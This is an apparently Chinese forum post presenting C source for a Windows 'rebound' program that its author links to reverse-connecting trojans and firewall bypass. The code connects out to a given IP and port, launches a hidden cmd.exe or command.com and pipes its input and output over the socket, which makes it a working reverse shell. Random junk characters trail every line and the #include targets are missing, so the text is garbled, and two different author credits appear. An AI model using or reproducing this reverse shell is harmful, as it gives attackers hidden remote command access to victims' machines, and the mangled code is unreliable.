这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;sJ2K"c
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/* ============================== ,5WDYk-
Rebound port in Windows NT 4 ETVyK|
By wind,2006/7 351'l7F\
===============================*/ }_TdXY
#w\
#include q>Y[.c-
#include ddxv.kIj.
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#pragma comment(lib,"wsock32.lib") l"#,O$x"#@
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void OutputShell(); =V4!t|(7
SOCKET sClient; ybkN^OEJ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s| oU$?eA
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void main(int argc,char **argv) OkXOV
{ \aozecpC`
WSADATA stWsaData; bp_@e0
int nRet; 85]UrwlA4
SOCKADDR_IN stSaiClient,stSaiServer; vZsVxx99
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if(argc != 3) 4[wP$
{ :r=_\?
printf("Useage:\n\rRebound DestIP DestPort\n"); Pl>t\`1:|A
return; BO|Jrr>
} -OxHQ
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WSAStartup(MAKEWORD(2,2),&stWsaData); =7>~u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m+ YgfR
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stSaiClient.sin_family = AF_INET; }+1o D{
stSaiClient.sin_port = htons(0); f|)t[,c
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NST6pu\,U
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?HTwTi5!)
{ `}l%Am
printf("Bind Socket Failed!\n"); ualtIHXK)
return; b iD7(AK
} f
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stSaiServer.sin_family = AF_INET; i:72FVo
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g(^l>niF:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w8Yff[o
{ :h@:F7N _
printf("Connect Error!"); ?9cy5z[
return; >%,tyJ~
} E%N]t} }[
OutputShell(); ^=j$~*(LmX
} b;vO`
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void OutputShell() ^8)d8?}
{ *k -UQLJ
char szBuff[1024]; Z "u/8
SECURITY_ATTRIBUTES stSecurityAttributes; 3 a`-_<
OSVERSIONINFO stOsversionInfo; TEtZPGFl
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B=7L+6
STARTUPINFO stStartupInfo; q!4dK4`#5
char *szShell; Wu(GC]lTG
PROCESS_INFORMATION stProcessInformation; 6gXc-}dp
unsigned long lBytesRead; F(9T;F
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *0@e_h
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x,+zw9
stSecurityAttributes.lpSecurityDescriptor = 0; [@czvPi
stSecurityAttributes.bInheritHandle = TRUE; AyUVsIuPT=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $Fj7'@1(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =z+zg^wsT
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fi1UUJ0
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -c
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stStartupInfo.wShowWindow = SW_HIDE; Qa=;Elp:[
stStartupInfo.hStdInput = hReadPipe; })Jp5vv
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _]g6
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GetVersionEx(&stOsversionInfo); R0>L[1o
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switch(stOsversionInfo.dwPlatformId) BshS@"8r
{ XcXd7e
case 1: rlq8J/0/+
szShell = "command.com"; .dV!d u
break; 6O}r4*
default: *7ox_ R@
szShell = "cmd.exe"; P&K~wP]
break; Rs dACP
} LS`Gg7]S
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P7n~Ui~U
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send(sClient,szMsg,77,0); X!m/I
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while(1) ty ~U~
{ ^t"\PpmK<d
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <m!\Ma
if(lBytesRead) OP@PB|
{ _<8n]0lX3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \*7Tj-#
send(sClient,szBuff,lBytesRead,0); `k+k&t
} y(HR1vQ;Z
else e>[QF+e)y
{ %}@^[E)
lBytesRead=recv(sClient,szBuff,1024,0); #/aWGx_
if(lBytesRead<=0) break; +#O?sI#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); F=cO=5Iz
} E4PP&'
} q8U]Hyp(`
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return; /2c?+04+
}